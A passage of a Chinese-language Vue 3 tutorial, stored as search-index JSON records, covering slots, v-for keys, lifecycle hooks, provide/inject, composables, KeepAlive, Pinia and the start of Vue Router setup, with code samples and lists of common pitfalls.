手动调用时，每次调用都是重新执行一次父级函数，带副作用的写法会重复触发。 5. v-if 控制插槽内容时，父组件里的条件变量与子组件无关。 「插槽没显示」的排查顺序应该是：条件真值 → 插槽名拼写 → 子组件有没有对应 \u003Cslot>。 6. 默认插槽与具名插槽混用时，$slots.default 可能包含空白节点。 早期版本要做 trim 判断，Vue 3 已处理；但若你在 render 函数里手写插槽判断，仍需检查返回内容是否真的有意义。 7. 具名插槽的兜底内容别忘写。 \u003Cslot name=\"footer\" \u002F> 空着时，父级不传就是一块空白框（外框样式还在，看着像 bug）。要么写兜底，要么用 v-if=\"$slots.footer\" 把外层容器也省掉。",{"id":134096,"title":26986,"titles":134097,"content":134098,"level":357},"\u002Ftutorials\u002Fvue3#附插槽语法速查",[17599,26340],"需求 子组件写法 父组件写法 默认插槽 + 兜底 \u003Cslot>兜底内容\u003C\u002Fslot> \u003Ccard>内容\u003C\u002Fcard> 具名插槽 \u003Cslot name=\"header\" \u002F> \u003Ctemplate #header>…\u003C\u002Ftemplate> 作用域插槽 \u003Cslot name=\"row\" :row=\"r\" \u002F> \u003Ctemplate #row=\"{ row }\">…\u003C\u002Ftemplate> 插槽默认值 \u003Ctemplate #footer>\u003Cp>默认页脚\u003C\u002Fp>\u003C\u002Ftemplate> 写在 \u003Cslot> 内 — 动态插槽名 \u003Cslot :name=\"slotName\" \u002F> \u003Ctemplate #[slotName]>…\u003C\u002Ftemplate> 判断父级是否传了 v-if=\"$slots.footer\" — in-DOM 模板 \u003Cslot name=\"header\"> \u003Ctemplate v-slot:header>（别用 #） Vue 2 旧写法（已废弃） \u003Cslot name=\"x\"> \u003Ctemplate slot=\"x\" slot-scope=\"p\">",{"id":134100,"title":27125,"titles":134101,"content":134102,"level":341},"\u002Ftutorials\u002Fvue3#十一v-for-与-key列表渲染的稳定性",[17599],"v-for 把数组变成一串节点，key 告诉 Vue「哪个节点代表哪条数据」。这两件事写对了，列表才有正确的状态和能接受的性能——示例 11 用一个小勾选框演示了写错的后果。",{"id":134104,"title":27136,"titles":134105,"content":134106,"level":357},"\u002Ftutorials\u002Fvue3#四种可遍历的数据",[17599,27125],"\u003Cli v-for=\"item in list\" :key=\"item.id\">{{ item.name }}\u003C\u002Fli>              \u003C!-- 数组 -->\n\u003Cli v-for=\"(item, i) in list\" :key=\"item.id\">{{ i }}: {{ item.name }}\u003C\u002Fli> \u003C!-- 带索引 -->\n\u003Cli v-for=\"(val, key) in obj\" :key=\"key\">{{ key }} = {{ val }}\u003C\u002Fli>        \u003C!-- 对象 -->\n\u003Cli v-for=\"(val, key, i) in obj\" :key=\"key\">…\u003C\u002Fli>                        \u003C!-- 对象带索引 -->\n\u003Cli v-for=\"n in 5\" :key=\"n\">第 {{ n }} 项\u003C\u002Fli>                             \u003C!-- 数字：1..5 -->\n\u003Cli v-for=\"ch of str\" :key=\"ch\">{{ ch }}\u003C\u002Fli>                             \u003C!-- 字符串 -->\n\n\u003C!-- 不想引入额外元素时用 template 分组 -->\n\u003Ctemplate v-for=\"(row, i) in rows\" :key=\"row.id\">\n  \u003Cdt>{{ row.name }}\u003C\u002Fdt>\u003Cdd>{{ row.value }}\u003C\u002Fdd>\n\u003C\u002Ftemplate> in 和 of 两种连接词等价（of 更接近 JS 的 for...of，可读性略好）。遍历数字时 n 从 1 开始，不是 0——这条反直觉，值得记一下。",{"id":134108,"title":27404,"titles":134109,"content":134110,"level":357},"\u002Ftutorials\u002Fvue3#key-的三条规矩",[17599,27125],"唯一：同层列表内不能重复，否则 Vue 直接警告「Duplicate keys found」，节点复用错乱。 稳定：同一个数据项在任何一次渲染中 key 不变。用 Math.random()、Date.now() 当 key 会让每次渲染都重建全部节点。 来自数据本身：优先用后端返回的 id。index 不是 id——只有当「列表顺序固定、永不重排\u002F插入\u002F删除、行内也没有本地状态」时才勉强可用。 用 index 当 key 为什么危险？因为 Vue 靠 key 决定「哪个 DOM 节点属于哪条数据」。用 index 时，头部插入一条数据后，原本第 2 行的节点（带着它的勾选框状态）被当成第 1 行继续用——于是「勾选状态跟着位置走，而不是跟着人走」。示例 11 的两种 key 策略切换就是让你亲眼看到这件事。",{"id":134112,"title":27443,"titles":134113,"content":134114,"level":357},"\u002Ftutorials\u002Fvue3#v-for-与-v-if-同级vue-3-的顺序变了",[17599,27125],"\u003C!-- ✗ 不要这样写 -->\n\u003Cli v-for=\"u in users\" v-if=\"u.active\">{{ u.name }}\u003C\u002Fli> Vue 3 里 v-if 优先级更高，它会先求值，此时 u 还不存在 → u is not defined。三种正解： \u003C!-- ① 用 computed 先过滤（首选：只算一次，还能缓存） -->\n\u003Cli v-for=\"u in activeUsers\" :key=\"u.id\">{{ u.name }}\u003C\u002Fli>\n\u003Cscript setup>\nconst activeUsers = computed(() => users.value.filter(u => u.active))\n\u003C\u002Fscript>\n\n\u003C!-- ② 条件在外层包一层（template 上不产生额外 DOM） -->\n\u003Cul v-if=\"showUsers\">\n  \u003Cli v-for=\"u in users\" :key=\"u.id\">…\u003C\u002Fli>\n\u003C\u002Ful>\n\n\u003C!-- ③ 每一行内部再用 v-if（当「过滤条件」和「行内显示」不是一回事时） -->\n\u003Cli v-for=\"u in users\" :key=\"u.id\">\u003Cspan v-if=\"u.active\">{{ u.name }}\u003C\u002Fspan>\u003C\u002Fli> 绝大多数情况选 ①。用 ③ 时注意：不满足条件的行仍然创建了节点，只是里面空着——数据量大时白花一堆开销。",{"id":134116,"title":27685,"titles":134117,"content":134118,"level":357},"\u002Ftutorials\u002Fvue3#长列表的性能底线",[17599,27125],"手段 什么时候用 注意 shallowRef 存列表 上千条、且行内不需要深层响应 更新时要整体替换新数组 分页 \u002F 无限滚动 一次没必要全放 IntersectionObserver 触发加载 虚拟列表（vue-virtual-scroller 等） 万级、固定行高 需要稳定的高度与 key v-memo=\"[row.id, row.done]\" 列表项内部有昂贵计算 依赖数组要写全，漏了就是「不更新」 v-once 纯静态片段 一次之后永不更新 把行抽成子组件 行内有自己的状态与逻辑 子组件 props 用浅比较天然省下渲染",{"id":134120,"title":4796,"titles":134121,"content":134122,"level":357},"\u002Ftutorials\u002Fvue3#️-本章的坑-10",[17599,27125],"1. key 缺失时 Vue 用「原地复用」策略。 不报错、看起来也正常，直到你插入\u002F删除一行——输入框内容错位、checkbox 状态错乱。开发版会警告，生产版不警告，这是「测试环境好、线上用户截图说状态乱」的经典成因。 2. index 当 key + 行内组件本地状态 = 灾难。 组件实例被复用时不会重新初始化，data\u002Fref 留下的就是上一行的旧值。 3. v-for 里直接改数组会让遍历与渲染互相打断。 在循环体内 list.splice(i, 1) 删除当前项属于「边遍历边改」，请改用 filter 生成新数组赋值回去。 4. 对象遍历的顺序依赖 Object.keys。 数字键会被提前排序（{2: 'a', 1: 'b'} 遍历顺序是 1、2），需要顺序就用数组，或 Object.entries 自己排。 5. \u003Ctransition-group>（Vue 3 里叫 \u003CTransitionGroup>）必须有 key。 少 key 时进出场动画错位。 6. key 不是给 DOM 用的属性。 它不会出现在渲染出的 HTML 里，别指望用 querySelector('[key=1]') 找元素。 7. 深层嵌套列表的 key 要带上层级信息。 两层都用 index 时，跨层复用会产生「A 分支展开了 B 分支的状态」。用 row.id + level 之类的组合字符串。 8. 列表数据整体替换 vs 局部修改。 list.value = newArray 会重建所有节点（除非 key 稳定）；list.value[i].done = true 只改一行。批量改动时用前者并保证 key 稳定，别在循环里逐条改触发几十次更新。",{"id":134124,"title":27889,"titles":134125,"content":134126,"level":357},"\u002Ftutorials\u002Fvue3#附列表写法速查",[17599,27125],"需求 写法 数组 + 索引 v-for=\"(item, i) in list\" :key=\"item.id\" 对象 v-for=\"(val, key) in obj\" :key=\"key\" 数字 1..N v-for=\"n in count\" :key=\"n\" 不产生额外元素 \u003Ctemplate v-for=\"…\" :key=\"…\"> 过滤后渲染 v-for=\"u in filtered\"（filtered 是 computed） 大列表省开销 shallowRef + 整体替换、或虚拟滚动 行内动画 \u003CTransitionGroup tag=\"ul\" name=\"list\"> + 每行 :key key 选择 后端 id > 本地生成的稳定 id > index",{"id":134128,"title":27994,"titles":134129,"content":134130,"level":341},"\u002Ftutorials\u002Fvue3#十二生命周期与模板-ref什么时候可以碰-dom",[17599],"组件从创建到销毁有一串确定的时刻。想知道「哪段代码该写在哪个时机」，靠的就是这张时序表；而「什么时候才能读 DOM」只有一个答案：挂载之后。",{"id":134132,"title":28003,"titles":134133,"content":134134,"level":357},"\u002Ftutorials\u002Fvue3#六个钩子与它们的时机",[17599,27994],"\u003Cscript setup>\nimport { ref, onBeforeMount, onMounted, onBeforeUpdate, onUpdated, onBeforeUnmount, onUnmounted, nextTick } from 'vue'\nconst n = ref(0)\n\nconsole.log('1. setup()：此刻还没有 DOM')\nonBeforeMount(() => console.log('2. beforeMount：渲染函数准备好，DOM 还没插进页面'))\nonMounted(() => console.log('3. mounted：DOM 已就绪，可以读\u002F操作元素、起定时器、发请求'))\nonBeforeUpdate(() => console.log('4. beforeUpdate：数据变了，DOM 尚未更新'))\nonUpdated(() => console.log('5. updated：DOM 已跟上新数据'))\nonBeforeUnmount(() => console.log('6. beforeUnmount：卸载前，做清理'))\nonUnmounted(() => console.log('7. unmounted：已从 DOM 移除'))\n\u003C\u002Fscript> 组合式里没有 created——setup() 本身就取代了 beforeCreate\u002Fcreated。也没有 onBeforeSetup 这种东西。 该写在哪个钩子里：起定时器\u002F加全局监听\u002F初始化第三方图表实例 → onMounted；对应的清理 → onBeforeUnmount（或 onUnmounted）；订阅全局事件 + 取消 → 同一对钩子；读 DOM → onMounted 或 nextTick 之后；数据变化后的 DOM 副作用 → 优先 watch(..., { flush: 'post' })，而不是 onUpdated（后者每次任何更新都触发，很容易写出循环）。",{"id":134136,"title":36506,"titles":134137,"content":134138,"level":357},"\u002Ftutorials\u002Fvue3#dom-是异步更新的nexttick",[17599,27994],"function add() {\n  list.value.push(Date.now())\n  console.log(el.value.children.length)      \u002F\u002F ✗ 还是旧数量，DOM 还没更新\n  nextTick(() => console.log(el.value.children.length))  \u002F\u002F ✓ 更新后\n} Vue 把同一批数据变更合并成一次更新（微任务），所以「改完数据立刻读 DOM」拿到的必然是旧值。三种等 DOM 的办法：nextTick()、watch 配 flush: 'post'、onUpdated（最不推荐）。",{"id":134140,"title":28327,"titles":134141,"content":134142,"level":357},"\u002Ftutorials\u002Fvue3#模板-ref拿到元素或子组件实例",[17599,27994],"\u003Cscript setup>\nimport { ref, useTemplateRef, onMounted } from 'vue'\nconst inputEl = ref(null)                 \u002F\u002F 名字与模板里的 ref 属性对应\n\u002F\u002F Vue 3.5 推荐写法（避免「ref 变量」与「ref 属性」混淆）：\n\u002F\u002F const inputEl = useTemplateRef('search-input')\n\u003C\u002Fscript>\n\n\u003Ctemplate>\n  \u003Cinput ref=\"search-input\" v-model=\"q\" placeholder=\"搜索\">\n  \u003CUserCard ref=\"card\" \u002F>\n\u003C\u002Ftemplate> 四条规则： mounted 之前它是 null。 在 setup 顶层直接 inputEl.value.focus() 必然报错。 出现在 v-for 里的 ref 会被 Vue 收集成数组（ref=\"rowEl\" 时 rowEl.value 是数组）。 给组件加 ref 拿到的是组件实例，而不是 DOM 元素；\u003Cscript setup> 的组件默认不暴露任何东西，父级拿到的是个空壳，需要子组件 defineExpose({ focus, reset })（第十四章有现场）。 要拿原生 DOM，ref 加在原生元素上即可；动态 ref 名用函数形式 :ref=\"(el) => { els[i] = el }\"。 示例 12 最值得看的是第 2 块：不写 onUnmounted 清理时，组件已经卸载、日志还在一秒一秒往外刷——这就是线上「路由切走了还在轮询」的成因。",{"id":134144,"title":4796,"titles":134145,"content":134146,"level":357},"\u002Ftutorials\u002Fvue3#️-本章的坑-11",[17599,27994],"1. 在 setup 顶层访问 DOM。 document.querySelector、el.value.focus() 写在 setup 里执行时机会导致拿到 null（或 SSR 时 document is not defined）。挪进 onMounted。 2. 忘记清理：定时器、全局事件、WebSocket、IntersectionObserver、watch 手动 stop。 卸载后回调还在跑，轻则内存泄漏，重则在已销毁的组件里改数据。规则很简单：在哪创建的订阅，就在对应的卸载钩子里关掉。 3. 组件被 KeepAlive 缓存时不会触发 unmounted。 切走只走 onDeactivated。你在 onMounted 里起的定时器，切走时不会停（第十四章专门讲这个）。 4. onUpdated 里再改响应式数据 → 递归更新。 报 Maximum recursive updates exceeded，页面卡死。想「数据变化后同步 DOM」用 watch + flush: 'post'。 5. v-if 控制的 ref 在隐藏时是 null。 任何 xxx.value.method() 之前要判空，或用可选链 inputEl.value?.focus()。 6. 异步回调里假设组件还活着。 setTimeout(() => { data.value = res }, 3000)，用户 1 秒后就切走了——给组件赋值虽然不报错，但请求竞态会污染下一次进入的界面。卸载时清 timer，或加「实例仍存活」标记。 7. 模板 ref 名字与响应式变量重名会被覆盖。 一个 setup 里既有普通 const el = ref(0) 又给元素写 ref=\"el\"，行为难料。约定 ref 变量统一以 El 结尾（inputEl、chartEl）。",{"id":134148,"title":28653,"titles":134149,"content":134150,"level":357},"\u002Ftutorials\u002Fvue3#附钩子时序与用途表",[17599,27994],"顺序 钩子 \u002F 阶段 能做什么 别做什么 1 setup() 声明 ref\u002Fcomputed\u002Fwatch、注册 provide 访问 DOM、发请求（无 SSR 时勉强但没必要） 2 onBeforeMount 极少用 读 DOM（还没插） 3 onMounted 读 DOM、起 timer、第三方实例、首次请求 忘记配套卸载清理 4 onBeforeUpdate 记录更新前的 DOM 状态（如滚动位置） 改响应式数据 5 onUpdated 几乎不需要 在里面改数据（递归更新） 6 onBeforeUnmount 清理 timer\u002F监听\u002F实例 异步操作（来不及 await） 7 onUnmounted 兜底清理 假设 DOM 还在 — onActivated \u002F onDeactivated 仅 KeepAlive 内，替代 mounted\u002Funmounted 的重复触发 当成普通钩子写重复逻辑",{"id":134152,"title":28795,"titles":134153,"content":28798,"level":341},"\u002Ftutorials\u002Fvue3#十三provide-inject-与组合式函数跨层级与逻辑复用",[17599],{"id":134155,"title":28802,"titles":134156,"content":134157,"level":357},"\u002Ftutorials\u002Fvue3#provide-inject跨层级传值",[17599,28795],"\u003C!-- 祖先组件 ThemePanel.vue -->\n\u003Cscript setup>\nimport { provide, ref, readonly, computed } from 'vue'\nconst theme = ref('light')\nconst toggle = () => { theme.value = theme.value === 'light' ? 'dark' : 'light' }\n\nprovide('theme', readonly(theme))       \u002F\u002F 只读的值\nprovide('toggleTheme', toggle)          \u002F\u002F 改的动作交给后代\nprovide('user', computed(() => store.user))\n\u003C\u002Fscript>\n\n\u003C!-- 任意深度的后代 -->\n\u003Cscript setup>\nimport { inject } from 'vue'\nconst theme = inject('theme')\nconst toggle = inject('toggleTheme')\nconst lang = inject('lang', 'zh')       \u002F\u002F 第二个参数：没找到时的默认值\nconst conf = inject('conf', () => ({}), { treatAsDefault: true })  \u002F\u002F 工厂默认值\n\u003C\u002Fscript> 要点：provide 的是 ref\u002Fcomputed 时才有响应性（示例 13 有对照）；用 symbol 做 key（const ThemeKey = Symbol()）能避免和第三方库撞名，也便于 TS 推断；祖先每次 provide 同一个 key 会覆盖上一层。 它适合「主题、语言、当前表单上下文、面板布局」这类语义上属于环境、但只在局部子树生效的数据。别把它当全局状态仓库——一旦某个组件被抽走，后代就静默拿到默认值。",{"id":134159,"title":29097,"titles":134160,"content":134161,"level":357},"\u002Ftutorials\u002Fvue3#组合式函数vue-3-的复用单位",[17599,28795],"mixin（Vue 2）的问题是会撞名、来源不明。Vue 3 的答案是组合式函数：一个用到了响应式 API 的普通函数，约定命名 useXxx。 \u002F\u002F composables\u002FuseCounter.js\nimport { ref } from 'vue'\n\n\u002F**\n * 一个独立的计数器状态。\n * @param {number} [init=0] 初始值\n * @returns {{ count: import('vue').Ref\u003Cnumber>, inc: () => void, reset: () => void }}\n *\u002F\nexport function useCounter(init = 0) {\n  const count = ref(init)              \u002F\u002F 每次调用都新建，互不干扰\n  return { count, inc: () => count.value++, reset: () => { count.value = init } }\n} \u002F\u002F composables\u002FuseLocalStorage.js\nimport { ref, watch } from 'vue'\n\n\u002F**\n * 与 localStorage 同步的 ref。\n * @param {string} key 存储键名\n * @param {any} fallback 读不到（或解析失败）时的兜底值\n *\u002F\nexport function useLocalStorage(key, fallback) {\n  let initial = fallback\n  try { initial = JSON.parse(localStorage.getItem(key)) ?? fallback } catch { \u002F* 脏数据兜底 *\u002F }\n  const data = ref(initial)\n  watch(data, (v) => {\n    try { localStorage.setItem(key, JSON.stringify(v)) } catch (e) { console.warn('存储失败', e) }\n  }, { deep: true })\n  return data\n} 在组件里用： \u003Cscript setup>\nimport { useCounter, useLocalStorage } from '@\u002Fcomposables'\nconst { count, inc } = useCounter(0)\nconst note = useLocalStorage('todo-note', '')\n\u003C\u002Fscript> 写组合式函数的四条约定： 名字以 use 开头，放 composables\u002F 目录（Nuxt 里连 import 都不用写）。 返回值用 ref\u002Fcomputed 而不是普通值，否则解构就丢响应性。 入参接受 ref 时用 toValue() \u002F unref() 读，让调用方能传常量也能传响应式值。 内部注册的 watch、onMounted、provide、inject 会自动挂到调用它的组件上——前提是在 setup 的同步执行期调用。",{"id":134163,"title":4796,"titles":134164,"content":134165,"level":357},"\u002Ftutorials\u002Fvue3#️-本章的坑-12",[17599,28795],"1. provide 的是原始值就断了响应。 provide('count', count.value) 传出去的是当时的快照，之后祖先怎么改后代都不动。provide 一个 ref（或 computed），后代读 .value。 2. 在异步回调里 inject \u002F provide。 setTimeout(() => inject('theme')) 拿不到（脱离组件实例，Vue 会警告 inject() can only be used inside setup()）。要注入就在 setup 顶层取好再用。 3. 组合式函数返回普通对象包着 .value。 return { count: count.value } 断掉响应性；返回值请给 ref 本身，解构 const { count } = useCounter() 之后必须写 count.value（模板里才自动解包）。 4. 顶层模块变量当成「每个组件一份」。 把 const state = ref(0) 写在函数外面（模块作用域），它就变成真正的全局单例——有时是故意的（全局配置），多数时候是 bug。 5. provide 的 key 拼错不会报错，只会拿到默认值。 用 Symbol() + 单独文件导出 key，或者 TypeScript 的 InjectionKey\u003CT>，把这类错误交给编译器。 6. 后代直接改注入进来的状态会连累所有共享者。 这是设计（同一份数据），不是 bug。规范做法：provide 只读数据 + provide 一个改的动作，后代只调函数。 7. 忘记清理的组合式函数是隐形泄漏源。 useMouse() 里 addEventListener('mousemove') 必须有 onUnmounted(() => removeEventListener(...))；useIntervalFn 之类要在卸载时停。",{"id":134167,"title":29725,"titles":134168,"content":134169,"level":357},"\u002Ftutorials\u002Fvue3#附状态传递方式选择表",[17599,28795],"需求 用什么 父 → 子一层 props 子 → 父一层 emit 表单值父子同步 v-model \u002F defineModel() 跨 2 层以上的环境数据（主题、语言、面板） provide \u002F inject 全局共享、跨路由、需要 devtools Pinia（第十五章） 复用「逻辑 + 状态」，作用域仍在单组件内 组合式函数 useXxx 复用「DOM 行为」 自定义指令 调用子组件方法 模板 ref + defineExpose（最后手段）",{"id":134171,"title":29816,"titles":134172,"content":29819,"level":341},"\u002Ftutorials\u002Fvue3#十四动态组件keepalive-与异步组件",[17599],{"id":134174,"title":36519,"titles":134175,"content":134176,"level":357},"\u002Ftutorials\u002Fvue3#动态组件component-is",[17599,29816],"\u003Cscript setup>\nimport { shallowRef, ref } from 'vue'\nimport FieldText from '.\u002FFieldText.vue'\nimport FieldSelect from '.\u002FFieldSelect.vue'\n\n\u002F\u002F 方式一：字符串组件名（要求已注册）\nconst name = ref('field-text')\n\n\u002F\u002F 方式二：组件对象——用 shallowRef，别让 Vue 深度代理一个组件定义\nconst field = shallowRef(FieldText)\n\u003C\u002Fscript>\n\n\u003Ctemplate>\n  \u003Ccomponent :is=\"name\" :model-value=\"text\" @update:model-value=\"text = $event\" \u002F>\n  \u003Ccomponent :is=\"field\" \u002F>\n\u003C\u002Ftemplate> 用组件对象时 ref(FieldText) 会触发「组件被 reactive 代理」的警告并带来无谓开销，shallowRef 才是正解（示例 14 有对照）。",{"id":134178,"title":30012,"titles":134179,"content":134180,"level":357},"\u002Ftutorials\u002Fvue3#keepalive缓存切换出去的组件",[17599,29816],"\u003CKeepAlive include=\"tab-a,tab-b\" :max=\"10\">\n  \u003Ccomponent :is=\"current\" \u002F>\n\u003C\u002FKeepAlive> 包上 KeepAlive 后，切走的组件不卸载，状态（输入框内容、滚动位置、内部数据）保留；回来的时候不重新请求。配套钩子：onActivated \u002F onDeactivated（这才是缓存组件里该写「每次进入时刷新数据」的地方，onMounted 只会执行一次）。 props 作用 include 只缓存名字匹配的组件（按 name 匹配） exclude 除这些名字外都缓存 max 最多缓存几个，超出按 LRU 淘汰 \u003Cscript setup> 的组件名默认由文件名推断，跨目录或动态创建时不稳定——需要精确匹配就用 defineOptions({ name: 'TabA' })。",{"id":134182,"title":36522,"titles":134183,"content":134184,"level":357},"\u002Ftutorials\u002Fvue3#异步组件与-suspense",[17599,29816],"const HeavyChart = defineAsyncComponent({\n  loader: () => import('.\u002FHeavyChart.vue'),\n  loadingComponent: LoadingBox,   \u002F\u002F 加载期间显示\n  errorComponent: ErrorBox,       \u002F\u002F 失败时显示\n  delay: 200,                     \u002F\u002F 200ms 内完成就不闪 loading\n  timeout: 10000                  \u002F\u002F 超时走 errorComponent\n}) 路由级懒加载用的就是同一套机制（第十六章：component: () => import('.\u002FPage.vue')）。\u003CSuspense>（实验性）能把「等待异步依赖」的边界统一交给模板管理，配合 async setup 使用；入门阶段先知道它存在即可。",{"id":134186,"title":36524,"titles":134187,"content":134188,"level":357},"\u002Ftutorials\u002Fvue3#defineexposescript-setup-默认是封闭的",[17599,29816],"\u003C!-- FieldText.vue -->\n\u003Cscript setup>\nimport { ref } from 'vue'\nconst inner = ref('秘密')\nfunction focus() { \u002F* ... *\u002F }\ndefineExpose({ focus })          \u002F\u002F 只有列在这里的，父级通过 ref 才拿得到\n\u003C\u002Fscript> 父级 fieldRef.value.focus() 可用，fieldRef.value.inner 是 undefined。这是刻意的设计（组件内部实现属于隐私），别为了「方便」把整个实例 expose 出去——优先用 props\u002Femit。 示例 14 的开关能直观看到：不包 KeepAlive 时切走再回来输入没了（走的是 unmount\u002Fmount），包上之后内容还在、日志打的是 deactivated\u002Factivated。",{"id":134190,"title":4796,"titles":134191,"content":134192,"level":357},"\u002Ftutorials\u002Fvue3#️-本章的坑-13",[17599,29816],"1. 组件对象被 ref() 包装。 出现 Component is being stateful... \u002F Vue 警告组件被代理，并伴随性能损耗。组件定义请用 shallowRef 或普通常量。 2. KeepAlive 里 onMounted 不再「每次进入都跑」。 用户从 tab 切走再回来，你以为会刷新数据，其实什么都没发生。需要每次进入刷新的逻辑写在 onActivated。 3. include 匹配不到。 \u003Cscript setup> 组件名靠文件名推断，动态\u002F打包后与预期不符 → 缓存完全没生效。显式 defineOptions({ name: 'X' })。 4. 多根组件包在 KeepAlive \u002F Transition 里直接报错。 这两者都要求默认插槽只有一个元素，且该元素是单根的。 5. 忘记 max 导致内存吃紧。 每个被缓存的 tab 都活着（包括它的数据与定时器）。列表型 tab 建议 :max=\"5\" 或用 exclude 排除重组件。 6. 缓存组件里的全局监听不会自动解绑。 因为它压根没走卸载钩子——onDeactivated 里也要记得移除监听。 7. 异步组件默认每次重新挂载都会重新请求 chunk。 命中不了浏览器缓存时观感就是「转圈」。需要缓存实例时再套 KeepAlive。 8. :is 的值是 undefined 时什么都不渲染，且开发版只给一句弱警告。用 v-if=\"current\" 兜一层，或给个默认组件——「页面空白但没报错」多半就是这个。",{"id":134194,"title":30476,"titles":134195,"content":134196,"level":357},"\u002Ftutorials\u002Fvue3#附常用组合速查",[17599,29816],"需求 组合写法 tab 面板 \u003Ccomponent :is=\"tabMap[key]\" \u002F> + KeepAlive include 表单字段按类型渲染 shallowRef 存组件 + \u003Ccomponent :is> + v-bind 首屏之外的重组件 defineAsyncComponent(() => import(...)) 需要动画的切换 \u003CTransition name=\"x\">\u003Ccomponent :is=\"v\" \u002F>\u003C\u002FTransition>（单根） 调用子组件方法 子 defineExpose + 父模板 ref 缓存数量兜底 \u003CKeepAlive :max=\"5\">",{"id":134198,"title":30563,"titles":134199,"content":134200,"level":341},"\u002Ftutorials\u002Fvue3#十五pinia跨页面共享状态",[17599],"组件树解决「谁是谁的孩子」，但实际项目里总有数据不属于任何一棵子树：登录用户、购物车、主题、全局消息提示。放在某个组件里就得层层透传，放外面又丢了响应性。状态管理库把这些数据收进一个「独立的、响应式的、任何组件都能引用」的对象。 Vue 生态现在的答案是 Pinia（Vuex 已进入维护状态，新项目别选它）。",{"id":134202,"title":30576,"titles":134203,"content":134204,"level":357},"\u002Ftutorials\u002Fvue3#安装与最小闭环",[17599,30563],"npm install pinia        # Vue 3 + Vite 项目 \u002F\u002F main.js\nimport { createApp } from 'vue'\nimport { createPinia } from 'pinia'\nimport App from '.\u002FApp.vue'\n\ncreateApp(App).use(createPinia()).mount('#app') \u002F\u002F stores\u002Fcounter.js —— setup store（推荐写法：长得像组件）\nimport { ref, computed } from 'vue'\nimport { defineStore } from 'pinia'\n\nexport const useCounter = defineStore('counter', () => {\n  const count = ref(0)\n  const double = computed(() => count.value * 2)\n  function inc(step = 1) { count.value += step }\n  async function loadFromServer() { \u002F* ... *\u002F }\n  return { count, double, inc, loadFromServer }\n}) \u003Cscript setup>\nimport { useCounter } from '@\u002Fstores\u002Fcounter'\nconst store = useCounter()          \u002F\u002F 组件里再调用，不要在模块顶层调\n\u003C\u002Fscript>\n\n\u003Ctemplate>\n  \u003Cp>{{ store.count }} \u002F {{ store.double }}\u003C\u002Fp>\n  \u003Cbutton @click=\"store.inc()\">+1\u003C\u002Fbutton>   \u003C!-- 解构会丢响应性，方法倒是可以直接用 -->\n\u003C\u002Ftemplate> 选项式 store 也支持（更接近 Vuex 手感，自带 $reset）： export const useCart = defineStore('cart', {\n  state: () => ({ items: [], coupon: '' }),\n  getters: { total: (s) => s.items.reduce((a, x) => a + x.price * x.qty, 0) },\n  actions: {\n    add(item) { \u002F* this.items.push(item) *\u002F }\n  }\n}) API 作用 store.count 读写状态（自动 unwrap ref） storeToRefs(store) 解构时保住响应性（方法单独拿出来） store.$patch({ items: [] }) 批量改（devtools 里合成一条记录） store.$patch((s) => { … }) 函数式批量改 store.$reset() 重置回初始 state（setup store 需自己实现） store.$state = { … } 整体替换 store.$subscribe((m, s) => …) 订阅变化（做持久化的地基） store.$onAction(({ after, onError }) => …) 拦截动作（埋点、错误上报）",{"id":134206,"title":31141,"titles":134207,"content":134208,"level":357},"\u002Ftutorials\u002Fvue3#持久化先把这一层想清楚",[17599,30563],"Pinia 本体不做持久化。两种路子：插件（pinia-plugin-persistedstate，配置 persist: true）或手写 watch + localStorage： \u002F\u002F stores\u002Fuser.js 之后，在 App 里手动同步（简单可控）\nwatch(\n  () => ({ token: userStore.token, profile: userStore.profile }),\n  (v) => localStorage.setItem('user', JSON.stringify(v)),\n  { deep: true }\n) 三条纪律：只存该存的（token 可以，完整用户资料没必要）；存之前想清楚版本（结构变了读回旧数据要能兜底）；别把 store 整个 stringify（里面可能有不可序列化的东西，devtools 也会抱怨）。 示例 15 把两个「页面级组件」并排放着，它们各自 useCounter() 拿到的是同一个 store 实例；第二块演示 const { count } = store 之后界面不再更新，storeToRefs 一按就活了。",{"id":134210,"title":4796,"titles":134211,"content":134212,"level":357},"\u002Ftutorials\u002Fvue3#️-本章的坑-14",[17599,30563],"1. 直接解构 store 丢响应性。 const { count } = useCounter() 后 count 是普通数字快照（setup store 甚至更微妙）。请用 storeToRefs(store) 解构状态，动作（action）可以单独解构。 2. 在模块顶层调 useXxxStore()。 「调用 store」必须在 app.use(createPinia()) 之后、且在组件 setup 上下文里。模块顶层调用会得到 getActivePinia was called with no active Pinia 报错。写 const store = useCounter() 在 \u003Cscript setup> 里才对。 3. setup store 没有 $reset()。 需要重置就自己在里面写 function $reset() { count.value = 0 }（Pinia 允许你覆盖这个保留名）。 4. 两个 store 互相引用形成循环。 A 里 useB()、B 里 useA() 会导致初始化顺序炸掉。解法：把「调用」挪进 action 内部（用到时才取），或引入第三个 store 承担协调。 5. getters 里做副作用。 和 computed 同一纪律（第五章）——它只负责算值。发请求、埋点放 action。 6. action 里用箭头函数导致 this 丢失。 选项式 store 的 actions: { add: () => { this.items.push() } } 直接坏掉。用普通函数 add() {}。 7. 持久化把敏感信息写进 localStorage。 刷新令牌、完整用户对象留在浏览器里，XSS 一次就全丢。token 该放 httpOnly Cookie 就别放 localStorage。 8. 把 store 当成「全局变量垃圾桶」。 组件级状态（弹窗开合、当前表单草稿）放 store，会让复用和测试都变难。判断标准：需要跨路由\u002F跨不相关组件共享，才进 store。 9. SSR\u002F服务端渲染下的状态串号。 全局单例 store 在多请求间会串数据。做 SSR（Nuxt）时每个请求要独立实例——这正是 Nuxt 教程里 defineStore + 服务端注意事项那章要解决的问题。",{"id":134214,"title":31376,"titles":134215,"content":134216,"level":357},"\u002Ftutorials\u002Fvue3#附状态方案的选择",[17599,30563],"状态范围 方案 单个组件内部 ref \u002F reactive 父 ↔ 子 props \u002F emit \u002F v-model 同一子树共享（主题、表单上下文） provide \u002F inject 跨页面、全局共享（用户、购物车） Pinia 服务端数据（列表、详情，需缓存与重新获取） useFetch（Nuxt）\u002F TanStack Query 一类 纯 URL 可表达的状态（筛选、分页、tab） 路由 query（第十六章）",{"id":134218,"title":31453,"titles":134219,"content":134220,"level":341},"\u002Ftutorials\u002Fvue3#十六vue-router单页应用的路由",[17599],"路由 = 「URL ↔ 界面」的映射表。它让单页应用有可分享的地址、可前进后退的历史、可刷新的子页面。本教程基于 Vue Router 5（Nuxt 4 里用的就是它），语法与 v4 基本一致。",{"id":134222,"title":31463,"titles":134223,"content":134224,"level":357},"\u002Ftutorials\u002Fvue3#三步建起来",[17599,31453],"npm install vue-router \u002F\u002F router\u002Findex.js\nimport { createRouter, createWebHistory } from 'vue-router'\nimport Home from 